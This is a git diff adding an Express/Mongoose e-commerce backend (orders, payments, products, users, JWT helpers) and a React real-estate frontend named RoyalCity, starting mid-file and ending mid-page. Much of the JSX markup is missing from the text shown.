default: 0 + }, + orderStatus: { + type: String, + required: true, + default: "Processing", + }, + deliveredAt: Date, + shippedAt: Date, + createdAt: { + type: Date, + default: Date.now + }, +}); + +module.exports = mongoose.model("Order", orderSchema); \ No newline at end of file diff --git a/server/models/paymentModel.js b/server/models/paymentModel.js new file mode 100644 index 0000000..8fc76c8 --- /dev/null +++ b/server/models/paymentModel.js @@ -0,0 +1,68 @@ +const mongoose = require('mongoose'); + +const paymentSchema = new mongoose.Schema({ + resultInfo: { + resultStatus: { + type: String, + required: true + }, + resultCode: { + type: String, + required: true + }, + resultMsg: { + type: String, + required: true + }, + }, + txnId: { + type: String, + required: true + }, + bankTxnId: { + type: String, + required: true + }, + orderId: { + type: String, + required: true + }, + txnAmount: { + type: String, + required: true + }, + txnType: { + type: String, + required: true + }, + gatewayName: { + type: String, + required: true + }, + bankName: { + type: String, + required: true + }, + mid: { + type: String, + required: true + }, + paymentMode: { + type: String, + required: true + }, + refundAmt: { + type: String, + required: true + }, + txnDate: { + type: String, + required: true + }, + createdAt: { + type: Date, + default: Date.now + } +}); + +module.exports = mongoose.model("Payment", paymentSchema); \ No newline at end of file diff --git a/server/models/productModel.js b/server/models/productModel.js new file mode 100644 index 0000000..03315a9 --- /dev/null +++ b/server/models/productModel.js @@ -0,0 +1,122 @@ +const mongoose = require('mongoose'); + +const productSchema = new mongoose.Schema({ + name: { + type: String, + required: [true, "Please enter product name"], + trim: true + }, + description: { + type: String, + required: [true, "Please enter product description"] + }, + highlights: [ + { + type: String, + required: true + } + ], + specifications: [ + { + title: { + type: String, + required: true + }, + description: { + type: String, + required: true + } + } + ], + price: { + type: Number, + required: [true, "Please enter product price"] + }, + cuttedPrice: { + type: Number, + required: [true, "Please enter cutted price"] + }, + images: [ + { + public_id: { + type: String, + required: true + }, + url: { + type: String, + required: true + } + } + ], + brand: { + name: { + type: String, + required: true + }, + logo: { + public_id: { + type: String, + required: true, + }, + url: { + type: String, + required: true, + } + } + }, + category: { + type: String, + required: [true, "Please enter product category"] + }, + stock: { + type: Number, + required: [true, "Please enter product stock"], + maxlength: [4, "Stock cannot exceed limit"], + default: 1 + }, + warranty: { + type: Number, + default: 1 + }, + ratings: { + type: Number, + default: 0 + }, + numOfReviews: { + type: Number, + default: 0 + }, + reviews: [ + { + user: { + type: mongoose.Schema.ObjectId, + ref: "User", + required: true + }, + name: { + type: String, + required: true + }, + rating: { + type: Number, + required: true + }, + comment: { + type: String, + required: true + } + } + ], + + user: { + type: mongoose.Schema.ObjectId, + ref: "User", + required: true + }, + createdAt: { + type: Date, + default: Date.now + } +}); + +module.exports = mongoose.model('Product', productSchema); \ No newline at end of file diff --git a/server/models/userModel.js b/server/models/userModel.js new file mode 100644 index 0000000..fd0e522 --- /dev/null +++ b/server/models/userModel.js @@ -0,0 +1,78 @@ +const mongoose = require('mongoose'); +const validator = require('validator'); +const bcrypt = require('bcryptjs'); +const jwt = require('jsonwebtoken'); +const crypto = require('crypto'); + +const userSchema = new mongoose.Schema({ + name: { + type: String, + required: [true, "Please Enter Your Name"], + }, + email: { + type: String, + required: [true, "Please Enter Your Email"], + unique: true, + }, + gender: { + type: String, + required: [true, "Please Enter Gender"] + }, + password: { + type: String, + required: [true, "Please Enter Your Password"], + minLength: [8, "Password should have atleast 8 chars"], + select: false, + }, + avatar: { + public_id: { + type: String, + }, + url: { + type: String, + } + }, + role: { + type: String, + default: "user", + }, + createdAt: { + type: Date, + default: Date.now, + }, + resetPasswordToken: String, + resetPasswordExpire: Date, +}); + +userSchema.pre("save", async function (next) { + + if (!this.isModified("password")) { + next(); + } + + this.password = await bcrypt.hash(this.password, 10); +}); + +userSchema.methods.getJWTToken = function () { + return jwt.sign({ id: this._id }, process.env.JWT_SECRET, { + expiresIn: process.env.JWT_EXPIRE + }); +} + +userSchema.methods.comparePassword = async function (enteredPassword) { + return await bcrypt.compare(enteredPassword, this.password); +} + +userSchema.methods.getResetPasswordToken = async function () { + + // generate token + const resetToken = crypto.randomBytes(20).toString("hex"); + + // generate hash token and add to db + this.resetPasswordToken = crypto.createHash("sha256").update(resetToken).digest("hex"); + this.resetPasswordExpire = Date.now() + 15 * 60 * 1000; + + return resetToken; +} + +module.exports = mongoose.model('User', userSchema); \ No newline at end of file diff --git a/server/public/android-chrome-192x192.png b/server/public/android-chrome-192x192.png new file mode 100644 index 0000000..e69de29 diff --git a/server/public/css/auth.css b/server/public/css/auth.css new file mode 100644 index 0000000..2f2ba56 --- /dev/null +++ b/server/public/css/auth.css @@ -0,0 +1,6 @@ +.login-form { + width: 20rem; + max-width: 90%; + margin: auto; + display: block; +} diff --git a/server/public/css/cart.css b/server/public/css/cart.css new file mode 100644 index 0000000..a762e48 --- /dev/null +++ b/server/public/css/cart.css @@ -0,0 +1,24 @@ +.cart__item-list { + list-style: none; + margin: 0; + padding: 0; + margin: auto; + width: 40rem; + max-width: 90%; +} + +.cart__item { + display: flex; + align-items: center; + justify-content: space-between; + padding: 1rem; + box-shadow: 0 2px 8px rgba(6, 18, 134, 0.788); + margin-bottom: 1rem; +} + +.cart__item h1, +.cart__item h2 { + margin-right: 1rem; + font-size: 1.2rem; + margin: 0; +} diff --git a/server/public/css/forms.css b/server/public/css/forms.css new file mode 100644 index 0000000..9f977d0 --- /dev/null +++ b/server/public/css/forms.css @@ -0,0 +1,23 @@ +.form-control { + margin: 1rem 0; +} + +.form-control label, +.form-control input, +.form-control textarea { + display: block; + width: 100%; + margin-bottom: 0.25rem; +} + +.form-control input, +.form-control textarea { + border: 1px solid #a1a1a1; + font: inherit; + border-radius: 2px; +} + +.form-control input:focus, +.form-control textarea:focus { + outline-color: #0e04276e; +} diff --git a/server/public/css/main.css b/server/public/css/main.css new file mode 100644 index 0000000..73432ec --- /dev/null +++ b/server/public/css/main.css @@ -0,0 +1,302 @@ +@import url("https://fonts.googleapis.com/css?family=Open+Sans:400,700"); +@import url("https://fonts.googleapis.com/css2?family=Nanum+Gothic:wght@700&display=swap"); + +* { + box-sizing: border-box; +} +@import url("https://fonts.googleapis.com/css2?family=Ranchers&display=swap"); +.logo-custom { + font-family: "Ranchers"; + font-size: 22px; +} + +body { + padding: 0; + margin: 0; + font-family: "Nanum Gothic", "Open Sans", sans-serif; +} + +main { + padding: 1rem; + margin: auto; +} + +form { + display: inline; +} + +.centered { + text-align: center; +} + +.image { + height: 20rem; +} + +.image img { + height: 100%; +} + +.main-header { + width: 100%; + height: 3.5rem; + + background: linear-gradient( + 90deg, + rgba(2, 0, 36, 1) 0%, + rgba(13, 13, 38, 1) 0%, + rgba(0, 212, 255, 1) 100% + ); + padding: 0 1.5rem; + display: flex; + align-items: center; + box-shadow: 0 2px 10px rgba(6, 81, 241, 0.637); +} + +.main-header__nav { + height: 100%; + width: 100%; + display: none; + align-items: center; + justify-content: space-between; +} + +.main-header__item-list { + list-style: none; + margin: 0; + padding: 0; + display: flex; +} + +.main-header__item { + margin: 0 1rem; + padding: 1rem; +} + +.main-header__item a, +.main-header__item button { + font: inherit; + background: transparent; + border: none; + text-decoration: none; + color: white; + cursor: pointer; +} + +.main-header__item a:hover, +.main-header__item a:active, +.main-header__item a.active, +.main-header__item button:hover, +.main-header__item button:active { + color: #ffeb3b; +} + +.mobile-nav { + width: 30rem; + height: 100vh; + max-width: 90%; + position: fixed; + left: 0; + top: 0; + background: white; + z-index: 10; + padding: 2rem 1rem 1rem 2rem; + transform: translateX(-100%); + transition: transform 0.3s ease-out; +} + +.mobile-nav.open { + transform: translateX(0); +} + +.mobile-nav__item-list { + list-style: none; + display: flex; + flex-direction: column; + margin: 0; + padding: 0; +} + +.mobile-nav__item { + margin: 1rem; + padding: 0; +} + +.mobile-nav__item a, +.mobile-nav__item button { + font: inherit; + text-decoration: none; + color: black; + font-size: 1.5rem; + padding: 0.5rem 2rem; + background: transparent; + border: none; + cursor: pointer; +} + +.mobile-nav__item a:active, +.mobile-nav__item a:hover, +.mobile-nav__item a.active, +.mobile-nav__item button:hover, +.mobile-nav__item button:active { + background: linear-gradient( + 90deg, + rgba(2, 0, 36, 1) 0%, + rgba(13, 13, 38, 1) 0%, + rgba(0, 212, 255, 1) 100% + ); + color: white; + border-radius: 3px; +} + +#side-menu-toggle { + border: 1px solid white; + font: inherit; + padding: 0.5rem; + display: block; + background: transparent; + color: white; + cursor: pointer; +} + +#side-menu-toggle:focus { + outline: none; +} + +#side-menu-toggle:active, +#side-menu-toggle:hover { + color: #ffeb3b; + border-color: #ffeb3b; +} + +.backdrop { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100vh; + background: rgba(0, 0, 0, 0.5); + z-index: 5; + display: none; +} + +.grid { + display: flex; + flex-wrap: wrap; + justify-content: space-around; + align-items: stretch; +} + +.card { + box-shadow: 0 2px 8px rgba(4, 151, 196, 0.425); + + justify-content: center; +} + +.card__header, +.card__content { + padding: 1rem; +} + +.card__header h1, +.card__content h1, +.card__content h2, +.card__content p { + margin: 0; +} + +.card__image { + width: 100%; +} + +.card__image img { + width: 100%; +} + +.card__actions { + padding: 1rem; + text-align: center; +} + +.card__actions button, +.card__actions a { + margin: 0 0.25rem; +} + +.btn { + display: inline-block; + padding: 0.25rem 1rem; + text-decoration: none; + font: inherit; + border: 1px solid #0d042e; + color: #0d042e; + background: white; + border-radius: 3px; + cursor: pointer; +} + +.btn:hover, +.btn:active { + background-color: #0d042e; + color: white; +} + +.btn.danger { + color: red; + border-color: red; +} + +.btn.danger:hover, +.btn.danger:active { + background: red; + color: white; +} +.user-message { + margin: auto; + width: 90%; + border: 1px solid rgb(6, 71, 97); + padding: 0rem; + + color: rgb(6, 71, 97); + display: flex; + justify-content: center; +} +.user-message--error { + background: white; + border: 1px solid red; + color: red; +} +.pagination { + margin-top: 2rem; + text-align: center; +} +.pagination a { + text-decoration: none; + color: rgb(4, 59, 41); + padding: 1rem; + border: 1px solid rgb(4, 59, 41); + margin: 0 1rem; + border-radius: 50%; +} +.pagination a:hover, +.pagination a:active, +.pagination a.active { + background-color: rgb(4, 19, 59); + color: white; +} + +@media (min-width: 768px) { + .main-header__nav { + display: flex; + } + + #side-menu-toggle { + display: none; + } + .user-message { + width: 30rem; + } +} +img { + height: 15rem; +} diff --git a/server/public/css/orders.css b/server/public/css/orders.css new file mode 100644 index 0000000..58f9290 --- /dev/null +++ b/server/public/css/orders.css @@ -0,0 +1,29 @@ +.orders { + list-style: none; + padding: 0; + margin: 0; +} + +.orders__item h1 { + margin: 0; + font-size: 1rem; +} + +.orders__item { + box-shadow: 2px 2px 8px 2px rgba(3, 1, 82, 0.822); + padding: 1rem; + margin-bottom: 1rem; +} + +.orders__products { + list-style: none; + margin: 0; + padding: 0; +} + +.orders__products-item { + margin: 0.5rem 0; + padding: 0.5rem; + border: 1px solid #070957; + color: #170653; +} diff --git a/server/public/css/product.css b/server/public/css/product.css new file mode 100644 index 0000000..2ce1a08 --- /dev/null +++ b/server/public/css/product.css @@ -0,0 +1,27 @@ +.product-form { + width: 20rem; + max-width: 90%; + margin: auto; + display: block; +} + +.product-item { + width: 20rem; + max-width: 95%; + margin: 1rem; +} + +.product__title { + font-size: 1.2rem; + text-align: center; +} + +.product__price { + text-align: center; + color: #4d4d4d; + margin-bottom: 0.5rem; +} + +.product__description { + text-align: center; +} \ No newline at end of file diff --git a/server/public/js/main.js b/server/public/js/main.js new file mode 100644 index 0000000..3d56207 --- /dev/null +++ b/server/public/js/main.js @@ -0,0 +1,16 @@ +const backdrop = document.querySelector('.backdrop'); +const sideDrawer = document.querySelector('.mobile-nav'); +const menuToggle = document.querySelector('#side-menu-toggle'); + +function backdropClickHandler() { + backdrop.style.display = 'none'; + sideDrawer.classList.remove('open'); +} + +function menuToggleClickHandler() { + backdrop.style.display = 'block'; + sideDrawer.classList.add('open'); +} + +backdrop.addEventListener('click', backdropClickHandler); +menuToggle.addEventListener('click', menuToggleClickHandler); diff --git a/server/routes/orderRoute.js b/server/routes/orderRoute.js new file mode 100644 index 0000000..b97fbf7 --- /dev/null +++ b/server/routes/orderRoute.js @@ -0,0 +1,17 @@ +const express = require('express'); +const { newOrder, getSingleOrderDetails, myOrders, getAllOrders, updateOrder, deleteOrder } = require('../controllers/orderController'); +const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth'); + +const router = express.Router(); + +router.route('/order/new').post(isAuthenticatedUser, newOrder); +router.route('/order/:id').get(isAuthenticatedUser, getSingleOrderDetails); +router.route('/orders/me').get(isAuthenticatedUser, myOrders); + +router.route('/admin/orders').get(isAuthenticatedUser, authorizeRoles("admin"), getAllOrders); + +router.route('/admin/order/:id') + .put(isAuthenticatedUser, authorizeRoles("admin"), updateOrder) + .delete(isAuthenticatedUser, authorizeRoles("admin"), deleteOrder); + +module.exports = router; \ No newline at end of file diff --git a/server/routes/paymentRoute.js b/server/routes/paymentRoute.js new file mode 100644 index 0000000..0c45e31 --- /dev/null +++ b/server/routes/paymentRoute.js @@ -0,0 +1,13 @@ +const express = require('express'); +const { processPayment, paytmResponse, getPaymentStatus } = require('../controllers/paymentController'); +const { isAuthenticatedUser } = require('../middlewares/user_actions/auth'); + +const router = express.Router(); + +router.route('/payment/process').post(processPayment); + +router.route('/callback').post(paytmResponse); + +router.route('/payment/status/:id').get(isAuthenticatedUser, getPaymentStatus); + +module.exports = router; \ No newline at end of file diff --git a/server/routes/productRoute.js b/server/routes/productRoute.js new file mode 100644 index 0000000..4704e55 --- /dev/null +++ b/server/routes/productRoute.js @@ -0,0 +1,26 @@ +const express = require('express'); +const { getAllProducts, getProductDetails, updateProduct, deleteProduct, getProductReviews, deleteReview, createProductReview, createProduct, getAdminProducts, getProducts } = require('../controllers/productController'); +const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth'); +const { validateProduct } = require('../middlewares/validator'); + +const router = express.Router(); + +router.route('/products').get(getAllProducts); +router.route('/products/all').get(getProducts); + +router.route('/admin/products').get(isAuthenticatedUser, authorizeRoles("admin"), getAdminProducts, validateProduct); +router.route('/admin/product/new').post(isAuthenticatedUser, authorizeRoles("admin"), createProduct, validateProduct); + +router.route('/admin/product/:id') + .put(isAuthenticatedUser, authorizeRoles("admin"), updateProduct) + .delete(isAuthenticatedUser, authorizeRoles("admin"), deleteProduct); + +router.route('/product/:id').get(getProductDetails); + +router.route('/review').put(isAuthenticatedUser, createProductReview); + +router.route('/admin/reviews') + .get(getProductReviews) + .delete(isAuthenticatedUser, deleteReview); + +module.exports = router; \ No newline at end of file diff --git a/server/routes/userRoute.js b/server/routes/userRoute.js new file mode 100644 index 0000000..5463687 --- /dev/null +++ b/server/routes/userRoute.js @@ -0,0 +1,27 @@ +const express = require('express'); +const { registerUser, loginUser, logoutUser, getUserDetails, forgotPassword, resetPassword, updatePassword, updateProfile, getAllUsers, getSingleUser, updateUserRole, deleteUser } = require('../controllers/userController'); +const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth'); + +const router = express.Router(); + +router.route('/register').post(registerUser); +router.route('/login').post(loginUser); +router.route('/logout').get(logoutUser); + +router.route('/me').get(isAuthenticatedUser, getUserDetails); + +router.route('/password/forgot').post(forgotPassword); +router.route('/password/reset/:token').put(resetPassword); + +router.route('/password/update').put(isAuthenticatedUser, updatePassword); + +router.route('/me/update').put(isAuthenticatedUser, updateProfile); + +router.route("/admin/users").get(isAuthenticatedUser, authorizeRoles("admin"), getAllUsers); + +router.route("/admin/user/:id") + .get(isAuthenticatedUser, authorizeRoles("admin"), getSingleUser) + .put(isAuthenticatedUser, authorizeRoles("admin"), updateUserRole) + .delete(isAuthenticatedUser, authorizeRoles("admin"), deleteUser); + +module.exports = router; \ No newline at end of file diff --git a/server/server.js b/server/server.js new file mode 100644 index 0000000..d7c7a6c --- /dev/null +++ b/server/server.js @@ -0,0 +1,30 @@ +const app = require('./app'); +const connectDatabase = require('./config/database'); +const cloudinary = require('cloudinary'); +const PORT = process.env.PORT || 4000; + +// UncaughtException Error +process.on('uncaughtException', (err) => { + console.log(`Error: ${err.message}`); + process.exit(1); +}); + +// connectDatabase(); + +cloudinary.config({ + cloud_name: process.env.CLOUDINARY_NAME, + api_key: process.env.CLOUDINARY_API_KEY, + api_secret: process.env.CLOUDINARY_API_SECRET, +}); + +const server = app.listen(PORT, () => { + console.log(`Server running`) +}); + +// Unhandled Promise Rejection +process.on('unhandledRejection', (err) => { + console.log(`Error: ${err.message}`); + server.close(() => { + process.exit(1); + }); +}); diff --git a/server/utils/apiFeatures.js b/server/utils/apiFeatures.js new file mode 100644 index 0000000..8fb1481 --- /dev/null +++ b/server/utils/apiFeatures.js @@ -0,0 +1,48 @@ +class APIFeatures { + constructor(query, queryStr) { + this.query = query; + this.queryStr = queryStr; + } + + search() { + const keyword = this.queryStr.keyword + ? { + name: { + $regex: this.queryStr.keyword, + $options: "i", + }, + } + : {}; + + this.query = this.query.find({ ...keyword }); + return this; + } + + filter() { + const queryCopy = { ...this.queryStr }; + + // Removing fields from the query + const removeFields = ["keyword", "limit", "page"]; + removeFields.forEach((el) => delete queryCopy[el]); + + // Advance filter for price, ratings etc + let queryStr = JSON.stringify(queryCopy); + queryStr = queryStr.replace( + /\b(gt|gte|lt|lte)\b/g, + (match) => `$${match}` + ); + + this.query = this.query.find(JSON.parse(queryStr)); + return this; + } + + pagination(resPerPage) { + const currentPage = Number(this.queryStr.page) || 1; + const skip = resPerPage * (currentPage - 1); + + this.query = this.query.limit(resPerPage).skip(skip); + return this; + } +} + +module.exports = APIFeatures; diff --git a/server/utils/errorHandler.js b/server/utils/errorHandler.js new file mode 100644 index 0000000..dda34d4 --- /dev/null +++ b/server/utils/errorHandler.js @@ -0,0 +1,10 @@ +class ErrorHandler extends Error { + constructor(message, statusCode) { + super(message); + this.statusCode = statusCode + + Error.captureStackTrace(this, this.constructor); + } +} + +module.exports = ErrorHandler; \ No newline at end of file diff --git a/server/utils/jwtToken.js b/server/utils/jwtToken.js new file mode 100644 index 0000000..bebbc51 --- /dev/null +++ b/server/utils/jwtToken.js @@ -0,0 +1,21 @@ +// Create and send token and save in the cookie. +const sendToken = (user, statusCode, res) => { + // Create Jwt token + const token = user.getJwtToken(); + + // Options for cookie + const options = { + expires: new Date( + Date.now() + process.env.COOKIE_EXPIRES_TIME * 24 * 60 * 60 * 1000 + ), + httpOnly: true, + }; + + res.status(statusCode).cookie("token", token, options).json({ + success: true, + token, + user, + }); +}; + +module.exports = sendToken; diff --git a/server/utils/searchFeatures.js b/server/utils/searchFeatures.js new file mode 100644 index 0000000..bd634fe --- /dev/null +++ b/server/utils/searchFeatures.js @@ -0,0 +1,51 @@ +class SearchFeatures { + constructor(query, queryString) { + this.query = query + this.queryString = queryString + } + + search() { + const keyword = this.queryString.keyword ? { + name: { + $regex: this.queryString.keyword, + $options: "i", + } + } : {}; + + // console.log(keyword); + + this.query = this.query.find({ ...keyword }); + return this; + } + + filter() { + const queryCopy = { ...this.queryString } + + // fields to remove for category + const removeFields = ["keyword", "page", "limit"]; + + // console.log(queryCopy); + removeFields.forEach(key => delete queryCopy[key]); + // console.log(queryCopy); + + // price filter + let queryString = JSON.stringify(queryCopy); + queryString = queryString.replace(/\b(gt|gte|lt|lte)\b/g, key => `$${key}`); + + // console.log(JSON.parse(queryString)); + + this.query = this.query.find(JSON.parse(queryString)); + return this; + } + + pagination(resultPerPage) { + const currentPage = Number(this.queryString.page) || 1; + + const skipProducts = resultPerPage * (currentPage - 1); + + this.query = this.query.limit(resultPerPage).skip(skipProducts); + return this; + } +}; + +module.exports = SearchFeatures; \ No newline at end of file diff --git a/server/utils/sendEmail.js b/server/utils/sendEmail.js new file mode 100644 index 0000000..bf61343 --- /dev/null +++ b/server/utils/sendEmail.js @@ -0,0 +1,36 @@ +// const nodeMailer = require('nodemailer'); +const sendEmail = async (options) => { + + // const transporter = nodeMailer.createTransport({ + // host: process.env.SMTP_HOST, + // port: process.env.SMTP_PORT, + // service: process.env.SMTP_SERVICE, + // auth: { + // user: process.env.SMTP_MAIL, + // pass: process.env.SMTP_PASSWORD, + // }, + // }); + + // const mailOptions = { + // from: process.env.SMTP_MAIL, + // to: options.email, + // subject: options.subject, + // html: options.message, + // }; + + // await transporter.sendMail(mailOptions); + + // const msg = { + // to: options.email, + // from: process.env.SENDGRID_MAIL, + // templateId: options.templateId, + // dynamic_template_data: options.data, + // } + // sgMail.send(msg).then(() => { + // console.log('Email Sent') + // }).catch((error) => { + // console.error(error) + // }); +}; + +module.exports = sendEmail; \ No newline at end of file diff --git a/server/utils/sendToken.js b/server/utils/sendToken.js new file mode 100644 index 0000000..4ad2535 --- /dev/null +++ b/server/utils/sendToken.js @@ -0,0 +1,18 @@ +const sendToken = (user, statusCode, res) => { + const token = user.getJWTToken(); + + const options = { + expires: new Date( + Date.now() + process.env.COOKIE_EXPIRE * 24 * 60 * 60 * 1000 + ), + httpOnly: true + } + + res.status(statusCode).cookie('token', token, options).json({ + success: true, + user, + token, + }); +} + +module.exports = sendToken; \ No newline at end of file diff --git a/src/App.css b/src/App.css new file mode 100644 index 0000000..027945e --- /dev/null +++ b/src/App.css @@ -0,0 +1,6 @@ +#root { + max-width: 1280px; + margin: 0 auto; + padding: 2rem; + text-align: center; +} \ No newline at end of file diff --git a/src/App.jsx b/src/App.jsx new file mode 100644 index 0000000..d7289db --- /dev/null +++ b/src/App.jsx @@ -0,0 +1,40 @@ +import { BrowserRouter as Router, Routes, Route } from 'react-router-dom'; +import Navbar from './components/layout/Navbar'; +import Footer from './components/layout/Footer'; +import Home from './pages/Home'; +import Properties from './pages/Properties'; +import PropertyDetail from './pages/PropertyDetail'; +import Property3D from './pages/Property3D'; +import About from './pages/About'; +import FAQ from './pages/FAQ'; +import Privacy from './pages/Privacy'; +import Blog from './pages/Blog'; +import BlogPost from './pages/BlogPost'; +import NotFound from './pages/NotFound'; + +function App() { + return ( + +
+ +
+ + } /> + } /> + } /> + } /> + } /> + } /> + } /> + } /> + } /> + } /> + +
+
+
+
+ ); +} + +export default App; \ No newline at end of file diff --git a/src/components/layout/Footer.jsx b/src/components/layout/Footer.jsx new file mode 100644 index 0000000..586fec1 --- /dev/null +++ b/src/components/layout/Footer.jsx @@ -0,0 +1,92 @@ +import { Link } from 'react-router-dom'; +import { FiPhone, FiMail, FiMapPin, FiGithub, FiTwitter, FiLinkedin } from 'react-icons/fi'; +import { FaDiscord } from 'react-icons/fa'; + +function Footer() { + return ( +
+
+
+ {/* Company Info */} +
+

RoyalCity

+

+ Your trusted partner in finding the perfect property. We make real estate simple and accessible for everyone. +

+
+ + {/* Quick Links */} +
+

Quick Links

+
    +
  • + + Properties + +
  • +
  • + + About Us + +
  • +
  • + + FAQ + +
  • +
  • + + Privacy Policy + +
  • +
+
+ + {/* Contact Info */} +
+

Contact

+
    +
  • + + +1 (555) 123-4567 +
  • +
  • + + contact@RoyalCity.com +
  • +
  • + + 123 Property Street, Real City, RC 12345 +
  • +
+
+ + {/* Social Links */} +
+

Connect With Us

+
+ + + + + + + + + + + + +
+
+
+ +
+

© {new Date().getFullYear()} RoyalCity. All rights reserved.

+
+
+
+ ); +} + +export default Footer; \ No newline at end of file diff --git a/src/components/layout/Navbar.jsx b/src/components/layout/Navbar.jsx new file mode 100644 index 0000000..b811a52 --- /dev/null +++ b/src/components/layout/Navbar.jsx @@ -0,0 +1,88 @@ +import { useState } from 'react'; +import { Link } from 'react-router-dom'; +import { FiMenu, FiX } from 'react-icons/fi'; + +function Navbar() { + const [isOpen, setIsOpen] = useState(false); + + const navigation = [ + { name: 'Home', href: '/' }, + { name: 'Properties', href: '/properties' }, + { name: 'About', href: '/about' }, + { name: 'FAQ', href: '/faq' }, + { name: 'Blog', href: '/blog' }, + ]; + + return ( + + ); +} + +export default Navbar; \ No newline at end of file diff --git a/src/components/property/Experience.jsx b/src/components/property/Experience.jsx new file mode 100644 index 0000000..e45b98b --- /dev/null +++ b/src/components/property/Experience.jsx @@ -0,0 +1,90 @@ +import { + CameraControls, + Environment, + RenderTexture, +} from "@react-three/drei"; +import { useThree } from "@react-three/fiber"; +import { useAtom } from "jotai"; +import { useControls } from "leva"; +import { useEffect, useRef } from "react"; +import { slideAtom } from "./Overlay"; +import { Scene } from "./Scene"; + +export const scenes = [ + { + path: "models/house1.glb", + mainColor: "#c0ffe1", + name: "Modern Villa with Pool", + description: "A modern urban house with sleek design and efficient use of space, perfect for city living.", + targetProfitability: 10.3, + roi: 7.2, + valuation: "425 ETH" + }, +]; + +const CameraHandler = ({ slideDistance }) => { + const viewport = useThree((state) => state.viewport); + const cameraControls = useRef(); + const [slide] = useAtom(slideAtom); + + useEffect(() => { + const resetTimeout = setTimeout(() => { + cameraControls.current.setLookAt( + slide * (viewport.width + slideDistance), + 0, + 5, + slide * (viewport.width + slideDistance), + 0, + 0 + ); + }, 200); + return () => clearTimeout(resetTimeout); + }, [viewport, slide, slideDistance]); + + return ( + + ); +}; + +export const Experience = () => { + const viewport = useThree((state) => state.viewport); + const { slideDistance } = useControls({ + slideDistance: { + value: 1, + min: 0, + max: 10, + }, + }); + return ( + <> + + + + {scenes.map((scene, index) => ( + + + + + + + + + ))} + + ); +}; diff --git a/src/components/property/Overlay.jsx b/src/components/property/Overlay.jsx new file mode 100644 index 0000000..74f1a2b --- /dev/null +++ b/src/components/property/Overlay.jsx @@ -0,0 +1,82 @@ +import { atom, useAtom } from "jotai"; +import { useEffect, useState } from "react"; +import { scenes } from "./Experience"; +import { FaWallet } from "react-icons/fa"; +import { Link } from "react-router-dom"; + +export const slideAtom = atom(0); + +export const Overlay = () => { + const [slide, setSlide] = useAtom(slideAtom); + const [displaySlide, setDisplaySlide] = useState(slide); + const [visible, setVisible] = useState(false); + useEffect(() => { + setTimeout(() => { + setVisible(true); + }, 1000); + }, []); + + useEffect(() => { + setVisible(false); + setTimeout(() => { + setDisplaySlide(slide); + setVisible(true); + }, 2600); + }, [slide, setSlide]); + + return ( + <> +
+ + + + + + RoyalCity + +
+

+ {scenes[displaySlide].name} +

+

+ {scenes[displaySlide].description} +

+
+
+
+

+ {scenes[displaySlide].targetProfitability} % +

+
+

Total Return

+
+
+
+

+ {scenes[displaySlide].roi} % +

+
+

ROI

+
+
+
+

+ {scenes[displaySlide].valuation.toLocaleString()} +

+
+

Valuation

+
+
+ +
+
+ + ); +}; diff --git a/src/components/property/Scene.jsx b/src/components/property/Scene.jsx new file mode 100644 index 0000000..6bc5f1e --- /dev/null +++ b/src/components/property/Scene.jsx @@ -0,0 +1,112 @@ +import { + AccumulativeShadows, + Environment, + Lightformer, + OrbitControls, + PerspectiveCamera, + RandomizedLight, + Sphere, + useGLTF, +} from "@react-three/drei"; + +import * as THREE from "three"; + +import React, { useEffect } from "react"; +import { DEG2RAD } from "three/src/math/MathUtils"; + +export const Scene = ({ mainColor, path, ...props }) => { + const { scene } = useGLTF(path); + useEffect(() => { + scene.traverse((child) => { + if (child.isMesh) { + child.castShadow = true; + child.receiveShadow = true; + } + }); + }, [scene]); + const ratioScale = Math.min(1.2, Math.max(0.5, window.innerWidth / 1920)); + return ( + <> + + + + + + + + + + + + + + + + + + + + + + + + ); +}; + +useGLTF.preload("/models/house1.glb"); +useGLTF.preload("/models/house2c.glb"); +useGLTF.preload("/models/house3c.glb"); diff --git a/src/index.css b/src/index.css new file mode 100644 index 0000000..be2f657 --- /dev/null +++ b/src/index.css @@ -0,0 +1,37 @@ +@import url("https://fonts.googleapis.com/css2?family=Nunito+Sans:ital,opsz,wght@0,6..12,400;0,6..12,600;0,6..12,800;1,6..12,400&display=swap"); +@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap'); +@tailwind base; +@tailwind components; +@tailwind utilities; + +@layer base { + html { + scroll-behavior: smooth; + } + + body { + @apply font-sans text-secondary-800 bg-secondary-50; + } +} + +@layer components { + .container { + @apply max-w-7xl mx-auto px-4 sm:px-6 lg:px-8; + } + + .btn { + @apply inline-flex items-center px-4 py-2 border border-transparent text-sm font-medium rounded-md shadow-sm text-white bg-primary-600 hover:bg-primary-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-primary-500; + } + + .btn-secondary { + @apply inline-flex items-center px-4 py-2 border border-transparent text-sm font-medium rounded-md text-primary-700 bg-primary-100 hover:bg-primary-200 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-primary-500; + } + + .input { + @apply block w-full rounded-md border-secondary-300 shadow-sm focus:border-primary-500 focus:ring-primary-500 sm:text-sm; + } + + .card { + @apply bg-white rounded-lg shadow-md overflow-hidden; + } +} \ No newline at end of file diff --git a/src/main.jsx b/src/main.jsx new file mode 100644 index 0000000..5cc5991 --- /dev/null +++ b/src/main.jsx @@ -0,0 +1,10 @@ +import React from 'react' +import ReactDOM from 'react-dom/client' +import App from './App' +import './index.css' + +ReactDOM.createRoot(document.getElementById('root')).render( + + + , +) diff --git a/src/pages/About.jsx b/src/pages/About.jsx new file mode 100644 index 0000000..6f56bfb --- /dev/null +++ b/src/pages/About.jsx @@ -0,0 +1,224 @@ +import { motion } from 'framer-motion'; +import { FiUsers, FiDollarSign, FiGlobe, FiShield, FiBriefcase, FiAward } from 'react-icons/fi'; +import { FaBitcoin, FaEthereum, FaHandshake } from 'react-icons/fa'; +import { SiChainlink } from 'react-icons/si'; + +function About() { + const stats = [ + { + value: '$250M+', + label: 'Property Transactions', + icon: FiDollarSign + }, + { + value: '15,000+', + label: 'Active Investors', + icon: FiUsers + }, + { + value: '45+', + label: 'Countries Served', + icon: FiGlobe + }, + { + value: '100%', + label: 'Secure Transactions', + icon: FiShield + } + ]; + + const partners = [ + { + name: 'Bitcoin', + icon: FaBitcoin, + color: 'text-orange-500' + }, + { + name: 'Ethereum', + icon: FaEthereum, + color: 'text-purple-500' + }, + { + 